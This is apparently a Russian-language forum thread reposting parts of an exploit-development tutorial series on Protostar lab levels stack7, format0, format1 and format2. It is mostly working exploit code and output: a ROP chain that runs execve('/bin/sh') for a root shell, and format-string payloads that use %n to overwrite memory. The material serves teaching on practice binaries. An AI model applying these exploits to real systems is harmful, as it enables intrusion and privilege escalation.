gdb -q ./stack7
set disassembly intel
disas main
q

KRTmJvJ.png


Хорошо. Теперь заменяем старый адрес инструкции RET в эксплойте
Код:
retAddress = pack("I", 0x08048544)

на новый, т.е. который мы только что получили
Код:
retAddress = pack("I", 0x08048553)

теперь открываем редактор и заменяем адрес.
Код:
nano ~/exploit.py
f2,y,enter.

Проверяем...
Код:
(python ~/exploit.py;cat) | ./stack7

jJTcTSv.png


Видно, что эксплойт отработал точно так же, как и в прошлый раз, без ошибок. Вот таким простым казалось бы способом мы обошли защиту встроенную в программе ориентированную на адреса возврата. А так же мы скомбинировали три техники Overwrite EIP + Ret2libc + ROP и объединили их в одном эксплойте.

Одной статьи конечно же не хватит, чтобы описать все преимущества и тонкости таких техник как Ret2Libc\ROP но всё же... Мы хоть познакомились с ними и чуточку стали на голову выше)) На этом всё. Можно переходить к следующему заданию format0. В следующих статьях мы будем работать с форматными строками.

(c) fuzzz, взято с codeby
 
Часть 9. Уязвимости форматных строк и перезапись переменных к конкретному значению.

Предыдущей статье мы познакомились с ROP. Для обхода ограничения в адресах мы воспользовались ret инструкцией. И хоть тема ROP была освящена не во всей красе, мы к ней еще вернемся. В этой статье мы будем знакомиться с уязвимостями форматных строк и посмотрим к каким последствиям может привести данные баги. Итак...


Описание ExploitMe
Этот уровень вводит строки формата и то, как предоставленные злоумышленником строки формата могут изменять ход выполнения программ.

Советы
  • Этот уровень должен быть выполнен менее чем за 10 байтов ввода.
  • «Использование уязвимостей форматной строки»
Этот уровень находится в / opt / protostar / bin / format0

Format0, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Решение
Для начала рассмотрим данный нам код программы для того, чтобы понять как это всё дело работает. Начнем как всегда устного анализа. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln(), есть целочисленная переменная target, есть буфер на 64 байта. По мимо всего это присутствует некая функция sprintf(), а так же есть условие if.

Суть задачи в том, что нам надо установить переменную target к значению 0xdeadbeef, как мы догадались из условия if, после, чего на экране должна отобразится строка "you have hit the target correctly :)". Которую мы уже видели в свое время, когда работали с переполнение буфера в стеке. Т.е. мы изменяли значение переменной к конкретному значению. Это задание аналогичное. Но вот беда. Тут нету функции gets() и strcpy(). Как быть? Я думаю, что первое, что надо сделать, это посмотреть описание функции sprintf() которая взаимодействует с буфером.

И так, вот краткое описание функции sprintf().

Функция sprintf() идентична printf(), за исключением того, что вывод производится в массив, указанный аргументом buf.

Код:
sprintf(приемник, источник)

Возвращаемая величина равна количеству символов, действительно занесенных в массив.

Из этого следует, что мы можешь писать в буфер данные.

Давайте попробуем.

Запустим программу и введем последовательность символом из "AAAAAAAAAAAAAAAAAAA...."

PVJ4tKR.png


Так становится ясно, функция sprintf() тоже не проверяет границы. Она аналогичная функции gets().

Поэтому мы можем выполнить это задание проэксплуатировав уязвимость переполнение буфера.

Эксплуатация уязвимости будет выглядить следующим образом

Код:
./format0 `python -c 'print "A"*64 + "\xde\xad\xbe\xef"[::-1]'`

Результат будет таким

WD6jRgx.png


На экране отобразилась строчка "you have hit the target correctly :)". Класс...

Но цель задания знакомство с уязвимостями форматирования, т.е. форматных строк.

Уязвимости форматных строк – это довольно обширный класс уязвимостей, которые возникают и могут быть проэксплуатированы вследствие ошибок программистов. Если программист передаёт контролируемый атакующим буфер в качестве аргумента функции printf() (или другую связанную с ней функцию такую, как, например, sprintf(), fprintf()), то злоумышленник может выполнять запись в произвольные места в памяти.

Один из методов использования строк формата очень похож на переполнение буфера. Вы можете записать большую строку в буфер с относительно короткой строкой формата.

Например, строка формата %100d приводит к 100-байтовой строке.

Используя этот трюк, можно просто писать в buffer и в target. Мы хотим создать строку формата , который записывает 64 символа с последующим 0xdeadbeef, что приведет к перезаписи target.

Давайте поэкспериментируем с этим трюком.

Код:
$ ./format0 %100d
Segmentation fault
$ ./format0 %50d
$ ./format0 %64d
$ ./format0 %65d
$ ./format0 %68d
$ ./format0 %69d
$ ./format0 %80d
Segmentation fault
$ ./format0 %79d
Segmentation fault
$ ./format0 %76d
Segmentation fault
$ ./format0 %75d

Результат будет таким

cLJUwHv.png


Видно что мы можем даже перезаписать регистр EIP используя %76d.

Но наша задача сейчас не в этом, а понять как можно реализовать баги форматных строк.


Эксплуатация будет выглядеть и состоять из 3 составляющих.

Код:
./format0 %64d
$() - известная нам баш конструкция для подстановки значения.
python -c 'from struct import pack;print pack("I",0xdeadbeef)'  - наше значение которое попадет в переменную target

А всё в месте это будет выглядеть таким образом...
Код:
./format0 %64d$(python -c 'from struct import pack;print pack("I",0xdeadbeef)')

Результат будет таким

tNN5E8Q.png


Отлично на экране отобразилась строчка "you have hit the target correctly :)"

Ниже приведены некоторые параметры формата как и в случае %100d, которые можно использовать, и их последствия:

• «%x» Чтение данных из стека
• "%s" Чтение символьных строк из памяти процесса
• «%n» записать целое число в места в памяти процесса

Функция sprintf() не единственная функция в своем роде, есть и другие функции которые подтвержены уязвимостям форматных строк. Ниже приведена табличка.

Таблица 1. Функции форматирования

Функция форматированияОписание
fprintЗаписывает печать в файл
printfВывести отформатированную строку
sprintfПечать в строку
snprintfПечатает в строку, проверяя длину
vfprintfРаспечатывает структуру va_arg в файл
vprintfПечатает структуру va_arg в стандартный вывод
vsprintfПечатает va_arg в строку
vsnprintfПечатает va_arg в строку, проверяя длину


Чтобы определить, уязвимо ли приложение для этого типа атак, необходимо проверить, принимает ли функция форматирования и анализирует ли параметры строки формата, показанные в таблице 2.


Таблица 2. Общие параметры, используемые при атаке форматной строки.

параметрыВыводПроходит как
%%% символьный (буквальный) форматCсылка
%pВнешнее представление указателя на voidCсылка
%dДесятичный форматЗначение
%cСимвольный формат
%uДесятичный без знака форматЗначение
%xШестнадцатеричный форматЗначение
%sСтрокаCсылка
%nЗаписывает количество символов в указательCcылка

Для более детального ознакомления нужно заглянуть на OWASP. На этом всё. Можно переходить к следующему заданию format1.

(c) fuzzz
 
Часть 10. ROP цепочка гаджетов.

Пока мы далеко не убежали с уязвимостями форматных строк. Я решил вернутся к теме ROP, к упражнению stack7. Прошлая статья посвященная ROP была не совсем полной!... В этой статье мы познакомимся подробнее с гаджетами и ROP-цепочками.

И так вспомним что мы делали в прошлый раз.

Мы использовали Ret2libc и прыжок на ret address, чтобы обойти ограничение в адресах.
Jump ROP. Прыжок на ret address. Прыгали с одного адреса на другой.

Эта статья продолжение темы ROP, так как не была затронута схема эксплуатации техники ROP с использованием гаджетов.
Исправим этот недочет.

И так приступим...
Этот уровень находится в /opt/protostar/bin/stack7
Stack7, VM

ROP-гаджеты
Напомню что «Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции. Последовательность гаджетов называется ROP-цепочкой или ROP-chain.

Так выглядят гаджеты
Код:
pop ebp; ret
mov esp, ebp; pop ebp; ret
add [ebx + 0x5d5b04c4], eax; ret
adc byte ptr [ebx + 0x5e5b08c4], al ; pop ebp ; ret
add al, 0x42 ; mov esp, ebp ; pop ebp ; and eax, 2 ; ret
add al, 0xb8 ; add dword ptr [eax], eax ; add byte ptr [eax], al ; pop esi ; pop edi ; pop ebp ; ret
and al, 0x8b ; jl 0xf5e05 ; add al, 0x89 ; in al, dx ; pop ebp ; ret
xor al, 0x24 ; mov edi, dword ptr [esp + 4] ; mov esp, ebp ; pop ebp ; ret
inc dword ptr [eax + eax*8 - 0x2f760b8b] ; pop esi ; pop ebp ; ret
Что мы можем с ними сделать?

Мы можем взять нужные нам гаджеты, объединив их в последовательную цепочку, помещая эту цепочку в стек, добиться выполнения любого кода, т.е. мы можем выполнить всё что угодно.

Всё что угодно нам не надо, нам нужен шелл. Как и было в случае с функцией system().

В языке Си существует много методов для вызова оболочки, т.е. шелла.

Самый популярный метод в linux при написании шеллкода это использование системного вызова execve(). Его мы и будем использовать, чтобы получить шелл.

Итак, наша цель - создать системный вызов execve().

Linux System Calls
Системные вызовы - это API для интерфейса между пространством пользователя и пространством ядра. По которому можно вызывать нужные нам системные функции. Эти системные функции и называются системными вызовами.

По сути execve() это такая же функция, как и system().

Все системные вызовы перечислены в
Код:
/usr/include/asm/unistd.h
вместе с их номерами. С помощью этих номеров можно вызвать ту или иную системную функцию.
Код:
#include <unistd.h>
unistd.h - это заголовочный файл, который обеспечивает доступ к API операционной системы.

Если мы заглянем с помощью текстового редактора nano в файл unistd.h, то мы увидим, что в нашей VM идет разделение на системные вызовы для x86 и x64.
Код:
nano /usr/include/asm/unistd.h
f2
Zv3b3VW.png


Заглянем в хедер файл который инклудится, а именно в unistd_32.h
Код:
nano /usr/include/asm/unistd_32.h
f2
9MJR0l8.png


Файл содержит 336 системных вызовов

Номер системного вызова execve() - 11.

RpfEWdl.png


И так номер системного вызова у нас есть.

Давайте теперь посмотрим на прототип системного вызова функции execve().
Код:
man execve
q
5VnvXiU.png


C:
int execve(const char *filename, char *const argv[], char *const envp[]);
filename
Первый аргумент аргумент должен быть указателем на строку, которая в нашем случае является путем к двоичному файлу, ptr для "/bin/sh"

ARGV[]
Второй - это список аргументов программы, и поскольку мы не запускаем "/bin/sh" с какими-либо аргументами, мы можем установить для этого значения нулевой байт.

envp[]
Третий аргумент - для параметров среды, мы снова установим в нулевой байт.

Наш системный вызов будет выглядеть так
C:
execve('/bin/sh',0,0)
Итак, теперь мы знаем, как нам нужно вызывать execve, теперь нам нужно выяснить, как это сделать.

Ассемблер
Для того чтобы двигаться дальше нам нужно углубится в ассемблерные команды и регистры.
На данном этапе мы знаем совсем не много.

Помните те три регистра?
EIP - указатель на адрес текущей инструкции
ESP - указатель на стек
EBP - фрейм указатель

Теперь нам нужны еще четыре регистра: EAX, EBX, ECX, EDX.

Каждый новый из этих регистров имеет свою особенность.

Вот их краткое описание.

EAX - используется в качестве универсального аккумулятора значений. Т.е. если нужно сохранить 32 бита в регистре процессора, то желательно использовать именно регистра EAX.

EBX - применяют для хранения адреса в памяти. Обычно используют этот регистр для хранения базового адреса в сочетании со статическим смещением. Хотя EBX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.

ECX - применяют организации циклов. Перед началом цикла в него помещают количество итераций. Каждая команда loop уменьшает значение этого регистра. Когда значение регистра ECX становится равным 0, цикл завершается. Регистр ECX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.

EDX - используется как и EAX в качестве универсального аккумулятора значений. EDX активно используется для операций умножения и деления (DIV, SUB).

В этих регистрах мы будем хранить определенное значение.

Так же следует сказать, что существует шесть регистров, в которых хранятся аргументы используемого системного вызова. Это EBX, ECX, EDX, ESI, EDI и EBP. Эти регистры принимают последовательные аргументы, начиная с регистра EBX. Если существует более шести аргументов, ячейка памяти первого аргумента сохраняется в регистре EBX.

Вернемся к обсуждению нашего системного вызова execve().

Для того чтобы вызвать execve() и перед тем, как его вызывать нам надо хранить где-то аргументы...

Из текста выше сказано что есть 6 регистров для хранения аргументов, начиная с EBX.

Следовательно наши аргументы будут хранится так.
Код:
execve('/bin/sh',0,0)
EBX -> '/bin/sh'
ECX -> 0
EDX -> 0
А для того чтобы вызвать сам системный вызов надо сделать прерывание int 0x80 (80h).
int - это прерывание
0x80 - номер прерывания
В Linux обработчик прерываний 0x80 является ядром и используется для выполнения системных вызовов ядра другими программами. Ядро уведомляется о том, какой системный вызов программа хочет сделать, изучив значение в регистре EAX.
В EAX - хранится номер системного вызова.

Для выполнения нашего системного вызова мы сделаем следующее...


Поместим номер системного вызова в регистр EAX. А именно для execve() - 11.
Сохраним аргументы системного вызова в регистрах: EBX, ECX, EDX.
И сделаем прерывание int 0x80 -> EAX (11) => run execve()

Вот что у нас будет.

EAX = 0xb (значение для системного вызова execve)
EBX = "/bin/sh" (указатель на адрес "/bin/sh" в памяти)
ECX = 0x0 - нульбайт
EDX = 0x0 - нульбайт

Теперь нам нужно найти подходящие нам гаджеты и собрать из них ROP-цепочку.

Конструируем ROP-chain
Для того, чтобы искать гаджеты нам понадобится инструмент. На самом деле инструментов очень много которые позволяются искать гаджеты и даже автоматически конструировать rop-цепочки.

Мы можем воспользоваться инструментом ROPgadget или же онлайн сервисом ROPShell.

Воспользуемся сервисом. Искать гаджеты будем не в самой программе т.е. не в stack7, а в библиотеке libc. Почему? именно в библиотеке, а не в программе? Дело в том, что, чем больше весит программа, тем больше в ней будет найдено гаджетов. И наоборот. Это связано еще с тем, что в программе stack7 может не оказаться нужных нам гаджет, т.е. всех гаджетов для построения полной rop-цепочки, чтобы получить шелл. Поэтому предпочтительнее всегда искать гаджеты в библиотеках, которые тянет за собой программа.

Воспользуемся утилитой ldd для того, чтобы посмотреть какие библиотеки подключены к нашей программе.
Код:
ldd stack7
qnPxvGh.png


Как я выше и сказал будем искать гаджеты в libc.

Теперь проверим местоположение библиотеки
Код:
ls -l /lib/libc.so.6
jwPtvoc.png


Видно, что это не настоящая библиотека, а симлинк (ярлык) библиотеки. И сама библиотека находится в той же директории и называется она "libc-2.11.2.so". Нам нужно скачать её, а затем загрузить ее на сервис, чтобы выполнить поиск гаджетов.

Для того, чтобы выкачать библиотеку с VM воспользуемся программой WinSCP.
WinSCP - это графический клиент SFTP (SSH File Transfer Protocol) для Windows с открытым исходным кодом.

Запускаем WinSCP

DhKRYbM.png


Принимаем RSA-ключ.

I7T690N.png


Идем в папку /lib и ищем "libc-2.11.2.so" затем скачиваем ее себе на машину.

UscjyDy.png


Итак, скачали

Загружаем на сайт ROPShell

Я загрузил библиотеку libc на сервис - клац.

Прежде чем двигаться дальше позаимствуем некоторые части и адреса из старого эксплойта.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr

Возьмем
Код:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
shellAddr = pack("I", 0xb7fb63bf)
retAddress = pack("I", 0x08048544)
По ходу дела это нам понадобится.

И так сервис проанализировал нашу библиотеку.

И мы видим такую картину
gVkOVkM.png


Для составления rop-цепочки будем искать такие инструкции
pop [register] - переносит любые данные из верхней части стека в [register] и освобождает эту область памяти.
xor eax, eax; - операция которая позволяет установить быстро регистр EAX в 0
inc eax; - операция инкремента, увеличиваем EAX на 1

Начинаем конструировать наш с вами будущий rop-эксплойт.
1. переполняем буфер на 80 байтов. offset eip
Python:
eipOffset = "A"*80
2. прыжок на RET address, адрес возврата
Python:
eip = pack("I", 0x08048544)
3. обнуление регистров, ECХ, EDX.
Пишем в ROPShell pop ecx и ищем для каждой инструкции гаджет. или точней говоря ищем нужный гаджет с нужными инструкциями.

pop ecx; ret
затем подставляем значение из 4 байт '\x00\x00\x00\x00' устанавливаем регистру ECX нулевое значение

а так же

pop edx; ret
'\x00\x00\x00\x00' устанавливаем регистру EDX нулево значение

SpMZKO0.png


Не попался нам гаджет который бы содержал инструкции "pop ecx; ret" & "pop edx; ret".

Тогда выбираем гаджет которые объединяет обе инструкции.
Python:
ropchain =  pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
В зависимости от выбранных гаджетов подставляем нужные нам значения.

4.обнуляем EAX
Пишем xor, eax в ropshell

YCGUxa3.png


Python:
ropchain +=  pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
5.устанавливаем EAX в 11.

Теперь пишем inc eax

yO1GnB0.png


EAX сейчас = 0, инкременируем EAX до 11.
Python:
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
6.вызываем регистр EBX

C9gD0Vp.png

Python:
ropchain +=  pack("I", libc+0x00074886) # pop ebx; ret should be /bin/sh address
7. Добавляем адрес 'bin/sh'
Python:
ropchain +=  pack("I", 0xb7fb63bf)         # *** '/bin/sh'
8. Вызываем прерывание int 0x80

DWdGcsA.png

Python:
ropchain +=  pack("I", libc+0x00020241)
9. Складываем значения и печатаем в строку
Python:
print eipOffset + eip + ropchain
и подключаем адрес библиотеки на си в место адреса функции system(). Если в прошлый раз мы вызывали функцию, то в этот раз мы берем адрес где мы искали гаджеты. Так же как и c 'bin/sh'.

Для того чтобы узнать адрес воспользуемся командой "info proc map", чтобы отобразилось адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack7
break main
run
info proc map
quit
y,enter
hRsY4MM.png


Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000.

Полный код эксплойта ropchain.py
Python:
from struct import pack
eipOffset = "A"*80
libc = 0xb7e97000
eip = pack("I", 0x08048544) # *** ret adress
ropchain =  pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
ropchain +=  pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x00074886) # pop ebx; ret
ropchain +=  pack("I", 0xb7fb63bf)         # *** '/bin/sh'
ropchain +=  pack("I", libc+0x00020241) # int 0x80
print eipOffset + eip + ropchain
Проверяем
Код:
id
whoami
(python ~/ropchain.py;cat)|./stack7
id
whoami
Ctrl+D
QQY5xr8.png


Отлично root у нас права!!!
В прошлый раз мы использовали так сказать один гаджет + ret2libc, а в этот раз у нас весь эксплойт состоит из гаджетов, из цепочки гаджетов "ROP-chain".

Про классификацию ROP-гаджетов можно почитать тут, а дополнительно про ROP тут.

На этом всё, до скорых встреч.

автор: (c) fuzzz
 
Часть 11. Уязвимости форматных строк и перезапись глобальных переменных

Продолжаем знакомиться с уязвимостями форматных строк и с эксплойтостроением. В этой статье посмотрим что такое примитив записи и чтения - используя уязвимость форматной строки. В прошлой части, посвященной уязвимостям форматных строк, мы перезаписывали локальную переменную. На этот раз мы перезапишем глобальную переменную, которая находится со всем в другой области памяти. Поехали!!!


Описание ExploitMe
Этот уровень показывает, как строки формата могут использоваться для изменения произвольных областей памяти.

Советы
  • objdump -t ваш друг, и ваша входная строка лежит далеко в стеке :)
Этот уровень находится в / opt / protostar / bin / format1

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Решение
Рассмотрим исходный код программы. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln() есть условие if которое проверяем значение переменной target. Если переменная target имеет любое значение кроме нуля, то условие считается истинным. И на экране должна отобразится строчка, которая говорит нам о том. что мы прошли задание. Сама переменная target является глобальной переменной.

В противоположность локальным переменным глобальные переменные видны всей программе и могут использоваться любым участком кода. Они хранят свои значения на протяжении всей работы программы. Глобальные переменные создаются путем объявления вне функции. К ним можно получить доступ в любом выражении, независимо от того, в какой функции находится данное выражение.

По мимо условия, есть функция printf() которая принимает строчку из аргумента.

Функция printf() записывает в stdout аргументы из списка arg-list под управлением строки, на которую указывает аргумент format.

Вот прототип этой функции

C:
int printf(const char *format, arg-list)

Глядя на код программы становится очевидно, что функция printf() - это уязвимая функция.

Более подробнее почитать про эту функцию можно тут.

И так для начала узнаем адрес переменной target.

Запускаем objdump чтобы найти адрес глобальной переменной target.

Код:
objdump -t format1

8FD0X9D.png


и видим что наша глобальная переменная лежит по адресу "08049638".

Надо еще сказать, что глобальные и статические переменные хранятся в сегменте .data, а не инициализированные данные находятся в сегменте .bss. Наша переменная не имеет не какого значения, но при этом она является глобальной переменной. Компилятор положил нашу переменную в сегмент .bss для оптимизации.

Так же тут следует сказать, что искать какие то данные в программах которые весят очень много - довольно очень трудоёмкая задача. Поэтому лучшем способом будет это использовать objdump в месте с утилитой grep

Код:
objdump -t format1 | grep "target"

0GYQObx.png


На много проще и удобнее чем анализировать всё полотно целиком...

Используя уязвимости форматных строк мы можем напрямую записывать данные в произвольные адреса памяти. В прошлой статье. Я рассказывал об этом и приводил примеры: %х, %s, %n...

Команда форматирования «%n» записывает байты в адрес памяти, на который ссылается указатель.

Указатель, как и все остальные параметры, передается через стек.

Поскольку наш вход в printf() функцию хранится в стеке, так как он передается argv[1], у нас есть все необходимые компоненты для его использования.

Первое препятствие для эксплуатации заключается в том, что printf() не находится в том же фрейме стека, что и входная строка. Обычно это означает, что входная строка находится очень далеко от нашего текущего указателя стека. Сначала нам нужно найти, где находится начало нашей входной строки.

Удобно, что уязвимости форматных строк предоставляют нам очень простой способ чтения стека. Каждая команда форматирования %x выводит следующие 4 байта из стека и перемещает указатель стека вперед на ту же величину.

Так же надо сказать, что уязвимости форматных строк дают примитив (состояние) , как для чтения данных, так и для записи, что очень по себе ценно.

Посмотрим как это действует - приметив чтения
Код:
./format1 $(python -c "print '%x.'*10")

FaGZpZC.png


На выходе получили цепочку байт из стека... С помощью %x мы используем 2 байта, чтобы извлечь 4 байта из стека.

Если нужно больше то увеличим число

Код:
./format1 $(python -c "print '%x.'*100")

uqq8A7k.png


Всё просто.

Теперь найдем нашу входную строку 0x41414141 в стеке. Будем использовать метод известный как "stack popping".
Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 100 + '%x'")

G8TKYKd.png


Тут нету нашей строки. Значит она лежит дальше

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 150 + '%x'")

YjXhOfj.png


Вот наша строка. Так же надо сказать, что наша строка формата также хранится в стеке.

HxAsRU4.png


Если запустить питон и проверить, то вот, что мы получим.

Код:
"2e782541".decode('hex')
"252e7825".decode('hex')
"78252e78".decode('hex')

e8Yye3P.png


Теперь уменьшим значение.

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 130 + '%x'")

IzHhoPM.png


Уменьшим еще на 5

Код:
./format1 $(python -c "print 'AAAAA' + '%x.' * 125 + '%x'")

fzWsOpO.png


А теперь примитив записи.
Теперь мы можем заменить «AAAAA» адресом target, а последний символ форматирования %x заменить на %n чтобы записать данные на адрес.

Код:
./format1 $(python -c "from struct import pack; target=pack('I',0x08049638);print target + '%x.'*125 +'%n'")

d3nMDsh.png


Отлично задачку можно считать решенной. На экране отобразилась строчка "you have modified the target :)" Уровень можно считать пройденным, так же мы познакомились с примитивом (состоянием) чтения (%x) и записи (%n) которые предоставляет уязвимость форматной строки. Так же следует сказать, что есть еще один примитив на выполнение. Тут сразу вспоминается Linux со своим RWX)))))))

На этом всё. Теперь можно переходить к следующему заданию format2. До скорых встреч!!

автор (с) @fuzzz
 
Часть 12. Уязвимости форматных строк и перезапись глобальных переменных к конкретному значению - разработка эксплойтов

Продолжаем разбирать уязвимости форматных строк. И так мы ознакомились с перезаписью переменных, на этот раз мы будем перезаписывать переменные к конкретному значению. В глобальной области памяти.

Описание ExploitMe
Этот уровень переход от format1, тут показывается, как конкретные значения могут быть записаны в памяти.

Этот уровень находится в / opt / protostar / bin / format2

Format2, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Решение
Вглядываясь в исходный код программы мы видим, что код особо не чем не отличается от предыдущего. Единственное что тут важно для нас это измененное условие в конструкции if. Теперь переменная target которая лежит в глобальной области памяти, она у нас лежит в секции .bss, потому что она не инициализирована. Т.е. в переменную не положили не какие данные. Должна принять данные, мы должны записать данные в эту переменную, число 64.

Как будем действовать ? ) Используем тот же прием, что и раньше, мы будем находить начало нашей строки формата в памяти.

Но для начало узнаем адрес переменной target.

Код:
objdump -t format2 | grep "target"

zK2fZwl (2).png


Отлично адрес переменной получен "080496e4"

Теперь найдем нашу строку в памяти… И так

Код:
python -c "print 'AAAA' + '%x.'*100" | ./format2

На выходе мы получаем вот такую вот картину.

777.png


Как оказалось наша строка лежит не так далеко…

1.png


Код:
python -c "print 'AAAA' + '%x.'*3" | ./format2
python -c "print 'AAAA' + '%x.'*4" | ./format2

Теперь когда мы знаем где лежит наша строка, попробуем что-нибудь записать в переменную target.

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*3 + '%n'" | ./format2

2.png


Видно, что нам удалось записать в переменную target данные и эта переменная стала равна 26. А нам нужно 64…

Тут нужно сказать, что спецификатор формата %n записывает количество байтов, которые уже были записаны функцией. Мы контролируем это. А теперь, чтобы записать определенное количество байт воспользуемся спецификаторами формата.

%d — Десятичное целое число со знаком
%i — Десятичное целое число со знаком
%u — Десятичное целое число без знака

Любой из этих трех спецификатор сгодится для данной задачи… И так положим в место третьего спецификатора формата %x наш выбранный нами спецификатор для записи…

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%100d' +'%n'" | ./format2

3.png


117 очень много!!!

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%50d' +'%n'" | ./format2

4.png


67 тоже много!! Но уже близко. Нужно 64. Значит 67-3=64. То, есть, получается нам нужно подставить %47d.

Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%47d' +'%n'" | ./format2

5.png


Отлично мы достигли нашей цели! На экране отобразилась строчка «you have modified the target :)», что свидетельствует нам, о том, что можно переходить на следующий уровень format3.


автор (с) @fuzzz
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх